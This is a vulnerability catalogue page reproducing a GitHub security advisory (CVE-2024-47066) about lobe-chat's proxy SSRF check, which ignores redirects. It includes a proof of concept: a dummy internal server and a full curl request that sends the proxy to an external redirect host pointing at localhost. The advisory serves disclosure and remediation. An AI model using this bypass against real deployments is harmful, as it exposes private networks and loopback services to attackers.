Browse / AI Framework and Platform Flaws / CVE-2024-47066
lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)
- Class
- AI Framework and Platform Flaws (filed by a model that read the advisory)
- Technique
- Server-side request forgery
- Affected
- @lobehub/chat (npm)
- Gets past
- SSRF protection
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
- EPSS
- 11.9% chance of exploitation in 30 days
How it works, in short
The proxy's SSRF check validates only the initial URL and ignores redirects, so an external URL can redirect the server to private or loopback addresses. (Our summary, written by a model. The source text is below.)
Details
Summary
SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.
PoC
1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;
- Create file dummy-server.js with the following content:
var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
console.log(req.url);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end();
}).listen(3001, 'localhost');
And run
node dummy-server.js
as an example server inside of container [1] (or in containers private network).
- Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
-b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
--data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
$'http://0.0.0.0:3210/api/proxy'
where body contains url of server which redirects to internal network (in my case it redirects according url parameter).
- Observe in output of [2]
running server
/iamssrf_1337
- Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.
Fix recommendations:
1. Disable redirects - lobe-chat should consider explicitly disable redirects. 2. If redirects support is required, perform check before each http request.
Impact
https://portswigger.net/web-security/ssrf
References
- https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg
- https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc
- https://nvd.nist.gov/vuln/detail/CVE-2024-47066
- https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf
- https://github.com/lobehub/lobe-chat
- https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts
Source: GitHub Advisory Database, used under CC BY 4.0.